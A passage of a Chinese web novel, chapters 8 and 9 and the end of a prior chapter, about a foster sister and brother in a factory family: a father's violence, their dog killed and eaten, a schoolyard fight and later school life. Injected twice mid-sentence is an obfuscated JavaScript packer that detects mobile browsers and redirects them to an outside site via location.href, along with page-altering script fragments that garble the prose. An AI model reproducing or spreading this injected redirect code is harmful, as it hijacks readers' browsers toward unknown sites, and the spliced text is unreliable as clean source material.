陈端来了三年多,孔净从来没听他叫过姐姐,也没听他叫过孔大勇和李贤梅爸妈。 孔净不知道李贤梅是怎么想的,但是孔大勇很在意这个称呼,刚开始会用各种玩具、零食诱哄陈端,后来急眼了就鼓起金鱼似的眼睛作势要打他。 孔净记得很清楚,有次孔大勇喝多了,一个巴掌扇过去,又脆又响,陈端脑袋一偏,身体不受控制地斜撞上铁门,巨大的一声“嘭!” 这一声把孔大勇惊醒了,他赶忙上前把陈端像小鸡仔一样扶正,“哪个喊你不改口,打痛没有?” 陈端没吭声,唇色惨白抿成一条锋利的直线,左边脸上鲜红的指印迅速膨起。 孔大勇见他这样倔强,忽然又高兴起来。 “是个狠角色,像我!” 后来他又强硬逼过陈端几次,可无论怎样打骂,陈端都只是沉默地全盘接受,并且绝不屈服。 孔大勇收起手里的皮带,喘着粗气哼笑两声,不得已,只好由着他去。 今天,孔大勇其实已经在外面喝过了,桌上这两瓶只能算是尽尽余兴,或者说是晚饭之前的开胃菜。 他喝多了之后话尤其多,脾气也相当怪,前一秒还嬉嬉笑笑,下一秒就有可能拍桌子打人。 他从不打李贤梅和孔净,因为她们是女人,孔老大混迹江湖多年这点原则还是有的。 但是陈端不一样,他是他孔大勇的儿子,是个男子汉,当然应该接受他的锤炼。 “儿砸快过来!”孔大勇又喊了一声。 陈端走过去的时候,孔净从课本上轻轻抬起眼睛,两个小孩的视线默契相接,孔净一瞬间觉得很难过。 但她弯起眉眼对陈端笑了一下,那是一种感同身受却因为还没长大而倍感无力的单薄笑意,轻得没有实感,像是窗外飘过月牙的云纱。 不过幸好,这晚陈端没有挨打,孔净也没有再被责骂。 转眼到了春天,刚开始是忧愁找不到收养人,慢慢地,一条从一只不到小臂长的小奶狗长成了威风凛凛颇具雄姿的大黑狗。 “呜呜,我舍不得一条了怎么办?”阿禾趴在石坑边缘看着一条在下面欢快地追逐小鸟,听见陈端吹了声口哨,它立刻收起玩心朝他跑去,聪明得不像话。 孔净也有相同的心理,可她还是理性地说:“还是要帮他找到好人家,上初中要住校,我和陈端不在,没有人每天给它送饭,它会饿死。” 这学期读完,他们都要去另一个村子上中学了。 阿禾点点头,“那我们再加油努力看看,一定要给一条找个好归宿!” 孔净即将满十三岁,孔大勇偶然听李贤梅提起时有一瞬间的错愕,“长这么快。” 他大概是想起了孔净出生时软软小小的一团,于是久违地涌起了父爱:“明天是周六,爸爸带你们出去吃蛋糕过生日!” 孔大勇已经很久很久没有带孔净出去过了,听他主动提起,孔净表面上不再像小时候那样欢呼雀跃,心里却和从前一样高兴。 周六,孔净起得比平时还要早,匆匆跑去洗脸刷牙,听见孔大勇在外面问:“端端呢?” “哪个晓得。”李贤梅正在做早饭,头也不抬地回。 孔净把牙缸和洗脸盆放回屋里,转头看见铁架床上被褥叠得整整齐齐,惯常隔着白色蚊帐靠在床头写写画画的少年却不见了身影。 吃早饭时陈端也没有回来,孔大勇吸溜进一海碗面条之后去厂里转了一圈,再回来时脸上带着愠怒。 李贤梅没好气地说:“腿长在他身上,今天又不上学,你管他去哪里。” 她不是为陈端说话,而是看不惯孔大勇对陈端的宝贝样。 李贤梅看见孔大勇背着手又要走,胸腔里突然窜上来一把火,“你不是要带孔净去过生日?说话就要算话!陈端不在,孔净就不配过生日了?你别忘了哪个才是亲生的!” 她收了孔净的课本,把她推出铁门,推到孔大勇的摩托车旁,一副“你今天不带她出去就没完”的架势。 孔大勇虽然混,但有时也会充满“情趣”地对李贤梅适当服一下软,比如现在,他扔了烟头就跨上摩托车,油门一轰,“听你妈妈的!走孔净!爸爸带你出去耍!只带你!” 摩托车把孔净带出厂区,在轰隆声中驶上马路,红瓦石厝和绿油农田在两旁匀速倒退,春日的风吹乱她的马尾。 孔净在蜜蜡色的阳光中眯起眼睛,某一瞬间一个猜想没有来由地挤进她的脑海,也许,陈端在这个约定好的早晨突然从家里暂时消失,只是为了创造她第一次和爸爸单独出去过生日的机会……? 孔净在猎猎暖风中抿了下唇,她因为这个猜想感到后悔,后悔刚才没有出去把陈端找回来。 小孩子就是这么奇怪,陈端被孔大勇突然领回家时,孔净只觉得领地被侵占,极其不情愿有另一个人也来做爸妈的孩子,几年过去,他们不见得已经建立起姐弟情谊,可是在孔净终于有机会和爸爸一起外出时,却产生了因为抛下陈端而不忍的心情。 孔大勇把孔净带到镇上,找到一家蛋糕店让她选中哪个就买哪个。 隔着一层有些泛黄发旧的亚克力隔板,孔净眼睛晶亮一眨不眨地看向里面那些花花绿绿的蛋糕模型,最后选了款水果蛋糕。 她小声询问老板蛋糕上面的巧克力球能不能多给,“我们家一共有……四个人。” “可以。”老板说,“要加钱,一个两块。” 这在孔净看来很贵,可是她犹豫片刻还是决定去向孔大勇多要六块。 孔大勇在蛋糕店外面抽烟,摩托车横斜停放挡了车道,一辆黑色轿车落下车窗,司机听见孔大勇带着浓重外地口音的普通话,嫌恶地用闽南语骂了一句脏话。 很难听。 孔大勇扔了烟头几步走过去,一边扶走摩托车一边转头对轿车里颐指气使的司机点头嘿笑。 孔净站在蛋糕店敞开的门前,脑袋空白,无比惊愕地看着这一幕在眼前发生。 “我爸爸是……老大。”这句话在她脑海里闪现,然后变成虚影闪动,最后“噗”的一声,所有画面变成黑屏。 后来孔大勇又带孔净去菜摊上买了些平时不会买的食材,活虾、鱿鱼、牛肉…… 孔净应该高兴的,可是她心情沉重,很难受。 摩托车驶回石厝,没想到桂华嬢嬢也在,她看见后车架上用皮绳捆着的东西,“满汉全席索?这么大阵仗!” “啥子满汉全席,想吃就吃!”孔大勇很有派头地挥挥手。 桂华嬢嬢有些艳羡,年轻的脸庞上笑得眼尾挑起,她说:“早晓得我就不来喊了,有这些山珍海味,哪个还吃狗肉嘛!” “狗肉?”孔大勇很有兴趣,“哪里来的?” “打的嘛!我老公去林子里耍,看见有条大黑狗顺手就抓了。收拾起来快得很!多远都闻得到香气……” 孔净只觉得耳边“轰隆隆”作响,听着桂华嬢嬢的描述,她脑海里无比真实地上演整个过程。 手上拎着的蛋糕盒一下掉在地上,听不见宁桂华的惊呼和孔大勇的责骂,她拼了命一样往森林跑去。 平时只要熟悉的人接近石坑,一条就会在底下欢呼大吠。 今天,无论孔净怎么喊,始终听不到回应。 阳光铺洒,因为春天的到来,石坑底下盈满绿意开出各种颜色的小花,比任何一部动漫里的场景都要美丽。旁边那棵她和阿禾经常靠着树干逗一条的银杏树,树下有一条尼龙绳,绳子被已经凝固的棕红色血迹粘黏在石板上。 孔净蹲在石板边,把脸埋进臂弯。 不知过了多久,身后传来急促的脚步声,孔净回头,脸色惨白地质问:“你去哪里了?!你去哪里了?!一条被抓走了!一条被他们……吃了……” 陈端跑得满头大汗,柔顺的额发被风刮得向后撩起,他提着一只色彩斑斓的帆布袋,听见孔净的话,袋子提手被他攥得像是要断掉。 “对不起。” 孔净和陈端在石坑边坐了很久,直到听见李贤梅和厂里工人们在喊他们的名字,孔净才木木然从地上站起来,拍拍裤子,转身离开。 宁桂华首先看到她,气喘吁吁地跑来,“去哪儿了哦?大家到处找你们!陈端呢?” 没听见孔净回答,她还要再开口,却被孔净忽然投来的冰冷视线惊到。 “……眼睛这么红,哪个欺负你了?” 孔净绕过她,一声不吭地回到石厝。 气急败坏的李贤梅随后赶回来,看见孔净主动站在灶台前收拾从镇上买回来的食材,问了句怎么了,孔净没答,厂里还有事,她就又着急忙慌地走了。 陈端直到晚饭前才回来。 除了在石坑边上的那句“对不起”,他没再和孔净说话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180467|180934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>盒子掉在地上,里面的蛋糕也塌了,但是因为没脏,所以捡起来插上蜡烛照样端上桌。 长这么大第一次郑重其事地过生日,孔净泪流满面地许愿。 那天陈端手里提着的帆布袋不知道什么时候被他放在了铁架床下铺的枕头下,里面是一张色彩瑰丽的手绘画作,用木质画框精心做裱,画面里晚霞绚烂,毛色锃亮的大黑狗撒欢跑过绿丛,一只漂亮的花蝴蝶停在它额间那条标志性的白色竖纹上。 孔净盯着这幅画看了很久,然后沉默地重新把它装回帆布袋,放在床底下那个她放东西的专属铁盒里。 孔净和陈端很长时间没有说话,虽然他们还是会隔着一段距离每天往返于厂区和学校之间的田埂,虽然孔净清楚不关陈端的事,是他们一起,没有保护好一条。 孔净没有告诉阿禾真相,她只说一条丢了。 “怎么会丢?它自己从石坑爬上来了?”阿禾觉得很不可思议。 “就当做……一条是跑到某户会天天给它喂肉吃的人家家里去了吧。” 孔净睁大眼睛,转过脸,直到夏风把眼眶里的湿润吹干。 临近毕业,班里那些刺头比以往更加躁动也更加恶劣。 班上有女生去上完厕所回来后,偷偷趴在桌子上哭,阿禾听说是因为有男生爬墙趴在厕所上面的通风窗洞上偷窥。 于是孔净和阿禾去上厕所时,一定会结伴并且轮流派一个人望风。 学校组织毕业班体检,穿白大褂戴口罩的医生搬了两张桌子坐在教学楼前,男生女生分作两列排着长队接受检查。 这次体检给那些刺头带来了新的灵感刺激。 上午做早操,队伍是男女混排,由矮到高女生基本在前半段,男生排在后面。 站在阿禾身后那个满脸都是红肿粉刺的男生,一边做伸展运动一边有一下没一下地用手指去碰阿禾的后背,被污渍染黄的长尖指甲隔着阿禾的短袖衣料每一下都精准戳到她里面的小背心边缘。 阿禾涨红着脸往前挪动,继续做操。 男生也跟着往前,并且逐渐拉近两人之间的距离,做踢腿运动时脚尖几乎碰到阿禾的屁股。 孔净站在阿禾的前面,被阿禾踢到腿才察觉到异样,她偏转过身,视线越过阿禾看了那个男生一眼。 男生很不屑地冲孔净抬手,侮辱性的手势做到一半忽然收住,因为他感觉到斜后方有道静冷目光钉在他后脑勺上。 他脸色阴沉,退而求其次用口型对孔净说了句,“阿巴嘎!” 紧接着变本加厉弓着身子往前,脸上粉刺快要贴上阿禾的耳背:“昨天体检有没有被医生看到小妹妹啊?哈哈哈……” 那天黑色轿车司机也骂过孔大勇是“阿巴嘎”,也许是被这三个字刺激到,也许只是单纯地想替阿禾反击,孔净忽然转过身,几步走过去,抬手就是一巴掌。 男生被打懵,根本没想过会被孔净——一个看起来文静柔弱成天只知道学习的女生扇脸。 下一瞬,他感觉到痛的不止是脸,还有脚、腿、肩膀、胳膊、甚至小腹以下也被踢了一脚…… “去你爸的臭傻逼!” “只会欺负弱小!” “烂家伙!” “坏东西!” 孔净从来没有骂过脏话也没有打过架,可她就是这么做了,一边骂一边用手用脚用尽力气去抓去打。 做早操的队伍早就乱了,在周围人的围观和惊呼中男生终于反应过来,孔净以为自己会结实挨上几拳,一个白色身影却冲进了包围圈,以比她狠厉百倍的姿态将那个粉刺男掼倒在地。 粉刺男被打红了眼,不管不顾地反击,孔净看出来陈端占优势,但是她被推开之后还是义无反顾地再次冲上去,狠狠踩中男生去抓地上沙子的手。 几个男老师费力把扭打在一起的三人拉开。 孔净的马尾早就散了,混乱中被粉刺男薅了一把,蓬乱如鸡窝,衣服和裤子离开原先的位置歪歪扭扭地挂在身上,脸很红,两只眼睛像要喷出火来。 “陈端和这个刺头我先不说了,孔净你怎么……”老师百思不得其解,“被上身了?” 孔净说,“可能连鬼也看不惯这种人吧。” 老师瞠目结舌,旁边却突然传来一道笑声,陈端脸上和身上都有淤青,一边嘴角还破皮挂着血渍,样子很狼狈,可他双眼黑得发亮扬唇笑得连肩膀也在抖,笑着笑着向后靠在墙壁上,视线越过中间几人。 孔净刚才打架被薅头发都没哭,此刻对上陈端的目光却忽然眼眶泛酸。 可怜的一条,虚伪的大人,破败的童年……这一切都糟透了! 可是可是,再无力的小孩居然也有自己的同盟。 孔净吸了吸鼻子,用口型对陈端说了句,“对不起。” 陈端不笑了,脸上没什么表情。 但是孔净知道,这代表,“没关系。” 就这样,教室外的夏天提前落幕,又徐徐展开。 8. 第 8 章 两年后,梅村中学—— “快快快!孔净你快点啦!” 下课铃声刚响完,阿禾就从二班教室冲出来,站在一班走廊上对着孔净疯狂挥手。 孔净手忙脚乱地收拾东西,阿禾急得从窗户伸进手来帮孔净把钢笔塞进笔袋。孔净怕自己再慢点,阿禾会从窗户爬进来,有点吓人,于是赶紧挤出座位和她汇合。 阿禾就像接力赛运动员,两只脚已经动起来,一只手往后抓住孔净的胳膊就带着她飞冲出去。 越过前面同样穿蓝白校服的人,两个身影跑出校园,白色运动鞋在种满香樟的柏油路上敲出清脆节拍。 跑过岔路口,一棵香樟树下铺开七八张矮桌,阿禾拉着孔净占据完全被树荫遮蔽的那张,气都还没喘匀就转头甜甜高喊:“我们要两份,菜汤里多加葱花,谢谢阿姨!” “好啦,过来拿。”很快,阿姨从旁边小屋的窗洞中把她们的饭菜递出来。 咸肉焖饭和虾皮紫菜汤是阿姨的拿手好菜,据说从她在梅村中学外开饭馆起就凭借这门手艺赢得了每届学生的夸赞。倘若想换换口味,阿姨还准备了五花大肉粽、牛肉羹和扁食供手头宽裕的学生选择。 阿禾和孔净明显属于不宽裕的类型,于是每天中午和傍晚都只要五元一份的固定饭菜套餐。 学校也有食堂供应快餐,但是不像这家饭馆物美价廉,打饭的阿伯也没有饭馆阿姨大方,要是想在不加钱的基础上多要一点点点哪怕是菜汤,阿伯都会用手里的长柄杓子“吭吭吭”地敲几下餐盘,盘子里本就不多的肉条抖啊抖,眼睁睁掉回了打菜盆。 “人小胃口大,吃多积食,阿伯是为你好!” 软糯咸香的焖饭在舌尖迸发美味,配上一口热腾腾的紫菜汤,阿禾吃得额头冒汗发出一声满足的喟叹。 “英语作业做完了吗?待会借我抄!” “没有哦。”孔净用勺子把碗里最后一口焖饭刮干净送到嘴边。 “我才不信咧!你每次交作业都超积极好吗!老师在我们班也夸你!” 梅村中学收纳来自附近几个村庄和工厂的学生,但是多数有远见的家长会选择把孩子送去镇里的中学,因此梅村中学每个年级只有三个班,每个班三十多个学生。 孔净和阿禾不同班,但是因为任课老师都一样,所以不仅每天约在一起觅食,阿禾还会以“一起做作业”的名义赖在孔净的座位边和宿舍里,可以说是形影不离。 付了饭钱,阿禾和孔净慢慢走去拐角那家文具店,又是一年夏天,亚热带海风吹走本就不多的暑气,明烈阳光照在身上并不觉得热,很舒适的温度。 “诶诶快看,是陈端!”文具货架对面有个女生发出一声低呼,她推推身边的同伴,“你不是说想和他交朋友?快去啊。” 店门外,两排香樟树枝叶相连,阳光穿过拱形华盖落下斑驳星点,穿蓝白校服的少年身影颀长,眉眼安静。 他走到文具店外面的冰柜前,一手撑在冰柜上,一手推开柜门,因为个子高所以微微弓着背,低头从里面拿了几只雪糕。 趁着他在柜台前结账,想和陈端交朋友的女生红着脸走过去,“我请你,我是三班的张……” “不用了,谢谢。” 陈端叼着一支雪糕,收回找零。 文具店老板见他转身就走,连忙叫住他,“还有两支不要哦?” 陈端回头,视线朝货架那边扫去,“有人拿。” “……嗯?” 老板疑惑,陈端刚走,就看见一个身影跑过来,手速奇快捞走放在柜台上的雪糕。 “欧!巧乐兹!陈端怎么知道这是我的最爱!吼!” 阿禾撕开包装,心满意足地咬下去,双眼斜斜往上一挑,笑眯眯地看向刚才那个被陈端当面拒绝的女生。 女生双颊臊红,她的同伴看出阿禾在挑衅,“喂,你跟陈端是什么关系?他为什么买东西给你?” “同班同学啰。”阿禾耸耸肩,把另一支雪糕塞到孔净手上,拉着她就走了。 走出一段路之后,她回头望一眼,“哈哈哈,你有没有看见她们被气成了猪肝色!” “有啦。”孔净配合地点点头,阿禾笑得超大声。 “但是,”孔净咬着雪糕提醒阿禾,“不要这么张扬啦,小心被找麻烦。” “我才不怕!” 可能是小学毕业之前孔净为了阿禾和男生大打出手那次,给她留下的印象太深,上了初中之后,阿禾变得要比以前尖锐很多,甚至在初二这年喜提小跟班。 “再说了,我是在帮你挡火力诶!”阿禾大言不惭,“如果被她们知道你和陈端的关系,你会被烦死!所以吼,为了让你专心学习,我只好牺牲自己。” “真是谢谢你了。” “知道就好。英语作业记得借我抄!” 上初中之后孔净和陈端延续小学的相处模式,他们在学校很少有交集,因为报道那天没带家长,所以连老师也不知道他们每周五放学后回的其实是同一个家。 又加上以前小学相熟的人来这里上学的只有那么几个,本来就因为孔净和陈端冷淡如陌生人而怀疑他们到底是不是姐弟,后来你不提我不提,居然都忘了这么一回事。 “话说回来,”阿禾觉得蛮奇怪,“你干嘛不理陈端?” “没有不理啊。”孔净说。 “哦,那你们为什么互相不理?” “也没有啊,你手里拿的雪糕是谁买的?” “明明是陈端给我买,顺便给你也带一支!” “这样啊,再次谢谢你。” “哎呀哎呀。”阿禾举着吃完的雪糕棍在路边扭得像上了发条。 阿禾话是这么说,但实际上在没有孔净在场的情况下她根本不会主动去招惹陈端。 “陈端比以前更正太没错,但是没有攻击性的安静美男子只是假象好吗。那次打架他凶成那样,如果不是后来老师来拉,我超怕他会把那个家伙——”阿禾夸张地做了个抹脖子的动作,“总之,我觉得他无法驾驭。” “这就是你食言不请他拍大头贴和吃冰淇淋的理由吗?”孔净吃完雪糕,把雪糕棍装进包装袋,折了两折拿在手里等进了学校扔进垃圾桶里。 “额……我有说过要请他?”阿禾假装失忆,先一步跑进一班教室当着孔净的面顺走她的作业本,不止英语,语文、数学、物理……能拿的全都扫荡一空。 周五下午提前放学,阿禾要去小跟班家里看碟片,最后一节课没上就跑了。孔净抱着课本去宿舍收拾东西,出来时停车棚里已经没剩几辆自行车。 孔净把书包放进前车袋,不疾不徐地骑着出了校门。 骑过香樟柏油路就是连接附近几个村镇的大马路,路口有几家经营网吧、台球厅、录像厅之类的铺面。班主任曾经在课堂上严令禁止大家出入这类地方,但无论什么时候这几家铺面都生意兴隆,周末这几天尤其挤满了各种黄毛绿毛。 孔净扫了眼店铺前边专门给来消费的学生辟出的停车位,单脚支地,同时右手指尖拨动车铃。 清脆悦耳的铃声响起,她随即仰头,看见门店二楼的窗户里有个蓝白色身影从位置上起身。 在门口那个黄毛吹起流氓哨之前,孔净支在地上的右腿轻快一蹬,马尾高高扬起,蓝白校服迅速融进落日余晖。 没过多久,身后响起相同音色和音调的车铃声,孔净回头,少年骑着和她同款不同色的自行车慢慢追了上来。 “并行很危险。”孔净掌着龙头往路边靠。 “嗯。”陈端从善如流,却没有减速或者加速的自觉。 孔净只好减缓车速,陈端偏头看她,也跟着刹车。 孔净说:“再这样下次我不叫你了。” “哦。”陈端像是真被她这句没有杀伤力的话给拿捏住了,被校服裹着的长腿踩在脚踏上,让自行车在静止中保持平衡。 孔净越过他,骑过一段路后又嫌他慢,拐进通往厂区的小路后索性停下来等他。 “你上网一般都干什么?”陈端刚要错身而过,孔净就重新踩动踏板。 “打游戏,看电影。”陈端的声音听起来很干净,和沿海夏日的晚风一样清爽。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16180468|180934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不聊Q吗?”孔净说,“班上好多同学都申请了账号,听说可以在个人空间里上传东西,好友之间还可以互相查看。” “不是好友也可以看,如果没特殊设置的话。要吗?”前面是上坡,陈端翻身下了车。 “要什么?”孔净每次到这段路都骑不动,干脆放弃。 陈端推着车和她隔着一小段距离并肩而行,“Q。” 孔净想了下,“不要,网吧好乱,家里也没有电脑。” “嗯。” “这周末你打算做什么?”终于爬上来了,孔净扶着车把手停下来歇息。 “没想好,你呢?”陈端坐上车垫,他比孔净高,左腿随意一支,白色运动鞋点地连车身都不用偏一下。 “做作业,周日下午约了阿禾。”孔净也重新骑上车。 “又去采蘑菇?” “对啊,李阿伯给我们涨价了,一斤干菇可以卖到五十。” “一个月可以采一斤吗?” “是两斤!” 孔净上身伏低加快车速,风鼓进校服衣角,马尾浸在霞光中划出虚影。 孔净把车推进石厝旁边的简棚,李贤梅也从厂里回来了。 “陈端呢?” 孔净朝后面看一眼,被晚霞拂照的路面空荡荡,他应该又拐去石坑了。 “……不知道。”垂眼,把自行车推进简棚,然后抱着书包走出来。 李贤梅从腰袢上解下钥匙,锁眼发旧不太好开,她连续捅了好几下,“哐当”一声把铁门推得撞上里面的隔挡。 “一天天跑得连人影都看不到,干脆一直不回来好了!” 她说话没个指代,像是在骂陈端也像是在骂孔大勇。 孔净没应李贤梅这句,她进了屋,不着急做作业,先去看灶台下有什么食材。 她拎着一袋子表皮已经发青长芽的土豆转头问李贤梅:“晚上炖土豆吧,再不吃就要坏了。” 李贤梅坐在桌子边给自己捶腿,她在厂里忙活了一整天,一身骨头又沉又痛。 她点点头,指挥孔净给自己倒了杯水。 “你少跟陈端学,在你爸面前装装样子就算了,去学校能少打交道就少打交道——你们宿舍离得不近吧?” 李贤梅端着杯子忽然发问。 小学毕业前的那次打架事件,虽然后来老师理清事情经过后证明孔净的出发点是为阿禾打抱不平,但是由于有陈端的加入,李贤梅坚持认为孔净就是被他带坏,不然孔净怎么有胆子和刺头动手。 李贤梅私下多次耳提面命,要孔净洁身自好,离陈端有多远就多远。 “不近,”孔净蹲在灶台边削土豆,每削一下土豆皮就从刀片中卷曲掉落,她想了下,又说,“隔很远。” “再远能远到哪里去。”李贤梅不满意,“要是能隔离就好了。” 她其实想说的是能把陈端送走就好了。 可是陈端在这个家已经住了快六年,虽然他还是不肯改口,孔大勇却待他比亲儿子还亲。 有次李贤梅不过和他随口提了一句,再想办法联系看看陈端那对出去创业却至今下落不明的父母,孔大勇鼓起金鱼眼说她是想要他的命! 相熟的姐妹劝李贤梅,“就当儿子养嘛,你生不出来,老天爷专门送给你的!一个女人没有儿子,家庭总归不稳。你看看自从有了陈端,孔大勇是不是老实多了?” …… 门外传来自行车链条转动的声音,李贤梅拉回思绪,看见陈端拎着书包进门,一转眼就六年了啊,陈端十四岁,当初那个小小白白的小孩已经长成了雪松一样的少年,静明五官在黯淡光线里也出彩,她和孔大勇就算能生,能生出这样的孩子吗? “回来了?”李贤梅招呼一声,当着陈端的面她的态度算不上亲热,但也不冷淡。 “嗯。” 陈端走过去,把书包挂在铁架床侧边的挂钩上,旁边隔着小段距离并排挂着的是孔净的书包。 他放下包又出去了,走出门之前轻垂一下眼,孔净捧着削好的一盆土豆站起身,视线自下而上,同他轻轻一碰。 9. 第 9 章 晚饭只有他们三个人吃,孔大勇说去给某个兄弟庆生,昨天出门直到现在还没回来。 饭桌上没人说话,碗筷偶尔撞出声响,电视机经年不变地播放新闻联播。 厂里效益不好,好不容易接了一张稍大点的单,李贤梅要去盯着工人换新磨料,放下碗就走了。 走之前,她从兜里拿出几张小钞给孔净,“我晚上不定什么时候回来,明天也走得早,你去买菜顺便带个西瓜回来,用冷水浸凉了送半个给桂华,她上回给我们拿了杨梅。” 孔净应了。等陈端吃完,她起身收拾。 “明天去还是等会?” 孔净端着碗碟去旁边的简棚清洗,陈端随后打开手电筒走在她身后。 手电光柱照着水龙头,孔净挤了一泵洗洁精在抹布上,抹布被水冲出白密泡沫,孔净从溢满水的铁盆里捞出一只待洗的碗。 “明天……其实都一样。”水声哗哗,孔净的声线听起来有些缈远。 陈端忽然手腕一转,手电泛蓝的光柱落在孔净脸上,她不妨眯了下眼,“干嘛!” “蚊子。”陈端说。 “哪里?”孔净抬起沾了泡沫的手隔空扇几下。 “这里。”手电的光在孔净脸上来回轻扫,陈端说,“好了。” 没被咬到,孔净还是觉得痒,冲掉泡沫伸手抓了抓,左边脸颊沾上水膜在光晕里透着薄亮。 “走啦。”她端起洗净的餐具,见陈端还站在水槽边就回头喊他。 陈端收回神,跟着进了屋。 孔净擦干手,把课本拿出来温习。 她很专心,余光瞥见陈端出去也没想起抬一下头。 快九点,孔净把书扣放在桌上,去打水洗脸。 其实是想洗澡的,沿海的夏季虽然没有酷暑这一说,但一天下来身上总是有点黏腻。 可是家里没有独立卫生间,要上厕所和洗澡都要去厂里。 不过,洗澡倒是可以忍到明天,晚上起夜就麻烦了。李贤梅在旁边简棚里放了一个夜壶,以前孔净还小,用起来没有心理负担,现在就不行了,每个周末回家她晚上总是能不喝水就不喝水,可要是碰到闹肚子就完了。 比如现在,孔净怀疑晚饭吃的土豆有问题,早知道就少吃点了。 外面传来开门声,孔净蜷缩着从床上坐起来,陈端提着两个大西瓜走进来。 “怎么了?”孔净没出声,陈端隔着一段距离透过蚊帐就看出她不对劲。 “……肚子不舒服。”孔净无奈,是真的忍不住了,她两条腿伸出蚊帐去够地上的拖鞋。 陈端放下西瓜,腾出一只手拿起手电,没说多余的话,转身往门外走。 孔净在后面偷偷摸摸揣了些卫生纸在兜里,靸着拖鞋追上去。 两人前后穿过去石材厂的小路,手电的光从陈端的身侧向后一晃一晃地照在路上,孔净低头看路,腹痛减轻了一些,她分出心来问陈端:“你怎么不把西瓜拎上?” 陈端事先什么也没说,但孔净知道他是听到李贤梅嘱咐她的话。 陈端这会儿也不是很想说话,但想了想还是应了声,“没拎。” 孔净其实知道为什么,她也是慢慢才知道陈端骨子里和外表颠覆性的狠绝。 因为一条的事,她不再去宁桂华屋里,见了王立胜要么假装没看见埋头就走,要么实在躲不过就礼貌性地点一下头。可陈端比她还绝,那天从林子回来之后他去掀了宁桂华家的锅,滚烫的狗肉泼在王立胜腿上,导致他养了大半个月才重新上工。 碍着孔大勇的面,王立胜和宁桂华都不好说什么,拿了医药费和“赔偿金”,偃旗息鼓道:“小孩子,难道还跟他一般见识。” 但陈端并不领这个情,孔净相信要不是因为王立胜是孔大勇请的工人,他也许会更激进。 孔净有时候觉得或许陈端身上真的流着孔大勇的血,不然怎么会青出于蓝胜于蓝。 “那我等会把钱给你——啊!” 几乎是在听见孔净发出惊呼的同时,陈端就转身走到了她面前,孔净拍拍胸口,“吓死我了,好像是只青蛙。” “嗯。” 陈端就没再往前走,而是走在孔净身侧,调整手电,光柱稳稳照在她脚下。 “等会回去我把钱给你。”孔净拾起刚才的话头。 “卖蘑菇的钱吗?”陈端的声音从侧上方传来,同晚风、窸窣虫鸣一起擦过耳际。 “什么啊,是妈刚才给的买西瓜的钱。” 厂房灯光大亮,把黑夜也照成白昼,孔净两步跃下台阶。 而陈端在孔净身后昏冥的光线中,迟疑一瞬,还是像往前一样慢下脚步,在人前同她拉开距离。 一排石头房子也都亮着灯,休班的工人和各家女眷都在前面的石板上乘凉,有些干脆点盘蚊香躺下睡觉。 孔净埋头快速走过,宁桂华眼尖一下发现她,一边摇着蒲扇一边从石板上撑坐起来,颜色鲜丽的绵绸连衣裙像开在暗色里的大丽花,“孔净去哪儿?过来嗑瓜子。” “不了,我去那边。” “别跑啊。害,越长大越害羞!”宁桂华嗓门大声音又带着年轻女人的娇俏,昏黄光线里几个男人转头看过来。 孔净跑走了。 宁桂华余光瞥见从暗影里走出来的陈端,撇了下嘴。 孔净解决完一桩大事,站在水槽前洗手,转过身就看见黑漆漆的墙根下竖着一条黑影,她一口凉气还没倒吸完全,黑影视线落在她身上,同时朝她走了过来,“又吓到了?” “才没有。”孔净看清是陈端,又转头看了看身后。 她不太想再从石头房子前面路过。 陈端说:“走后身回去吧。” “也、行。”孔净就是这么想的,正好陈端提出来。 石头房子后面的路有点荒,夏天草木疯长,像在林地里穿行。 好在路不是很长,孔净也不是一个人。 回到石厝,李贤梅还没回来。孔净从书包里抽了本薄册子钻进下铺,陈端攀着梯子翻上上铺时,孔净很警觉地抱着书整个滑进凉被。 陈端其实什么也没说,孔净却做贼心虚,在下铺伸长胳膊去捶上铺的床垫,“你看见了?” “什么?”陈端的声音很轻,像是刚要睡着就被吵醒。 孔净想了想,说:“没什么。” 过了会,她又捶一下,“你还在画画吗?” 间隔两三秒,陈端才“嗯”了声。 孔净说:“你要不要投稿?我看见杂志上有插画征稿,你可以试试。” 又是间隔两三秒,又是一声低低的“嗯”,看来很困了。 孔净轻轻把摊在膝盖上的册子翻过一页,安静没两分钟,她“啊”了一声,坐直身子伸手把上铺床垫捶了又捶,“我忘记给你钱了!现在,马上——” 躺在上铺的人很短促地从舌尖发出“啧”的一声,翻个身,这回没再理孔净。 孔净从书包夹层里掏出小钞,个子不够高,踮起脚尖高举胳膊,听见上面传来均匀又绵长的呼吸声,知道陈端是真的睡着了。 她蹦了两下,眼疾手快掀开上铺蚊帐把钱从凉席边沿塞进去。 晃眼看见陈端侧躺着正对外边的睡颜,想起阿禾说他是没有攻击性的美男子,其实不太准确,他就算睡着也漂亮得扎眼。 难怪学校没人怀疑她和陈端。 孔净学着阿禾的样子耸耸肩,轻手轻脚爬上床,享受一个人的私房阅读时间。 周日下午,孔净按照约定时间去老地方和阿禾汇合,她坐在树上远望青黄油绿的夏日田野,一阵阵风过,头顶上方那些刚长出来的青绿芒果就在风中拽着枝丫点头。 “拍些拍些(不好意思不好意思)!”阿禾姗姗来迟,手脚并用像只浣熊几下爬上芒果树。 “你迟到了半小时哦。”孔净表情无语,看见好朋友从包包里掏出来一杯珍珠奶茶,一下愣住,“哪里来的?” 